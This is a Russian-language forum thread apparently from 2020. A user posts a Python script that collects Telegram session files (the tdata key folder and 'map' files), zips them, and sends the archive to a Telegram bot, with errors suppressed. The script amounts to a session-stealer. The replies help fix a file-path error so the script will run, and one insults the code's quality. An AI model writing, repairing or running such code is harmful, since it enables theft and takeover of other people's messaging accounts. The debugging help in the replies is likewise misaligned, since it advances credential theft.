from re import findall from zipfile import ZipFile import os, random import telebot bot = telebot.TeleBot("токен") pathusr = os.path.expanduser('~') teleg = pathusr + '\storage\emulated\0\download' zipp = pathusr + '\storage\emulated\0\download' ids= open("\\id.txt",'r+').read() try: files1 = os.listdir(teleg) files1 = ' '.join(files1) files2 = os.listdir(teleg + '\\D877F783D5D3EF8C') files2 = ' '.join(files2) file1 = findall(r'(D877F783D5D3EF8C\S)', files1) file2 = findall(r'(map\S)', files2) file1 = ''.join(file1) file2 = ''.join(file2) file1 = teleg + '\\' + file1 file2 = teleg + '\\D877F783D5D3EF8C\\' + file2 attch = [] attch.append(file1) attch.append(file2) zippy = ZipFile(zipp, 'w') for file in attch: print(file) zippy.write(file) zippy.close() except Exception as e: pass try: bot.send_document(ids,open(zipp, 'rb')) except Exception as e: pass
Traceback (most recent call last): File "/data/user/0/ru.iiec.pydroid3/files/accomp_files/iiec_run/iiec_run.py", line 31, in <module> start(fakepyfile,mainpyfile) File "/data/user/0/ru.iiec.pydroid3/files/accomp_files/iiec_run/iiec_run.py", line 30, in start exec(open(mainpyfile).read(), __main__.__dict__) File "<string>", line 9, in <module> FileNotFoundError: [Errno 2] No such file or directory: '\\id.txt'
Смотри, у тебя на 9 строчке есть чтение файла ./id.txt и Python тебе говорит, что такого файла не суцествует, так что исправь "\\id.txt" (т. к. в таком случае он будет искать файл id.txt на диске C, тоесть C:\id.txt) на "./id.txt", и в той директории, где у тебя скрипт, и создай файл id.txt, и напиши туда ID
На 9 строке убери «//« --- Сообщение объединено с предыдущим 27 июл 2020 У тебя на самом то деле пиздец код ебанутый кста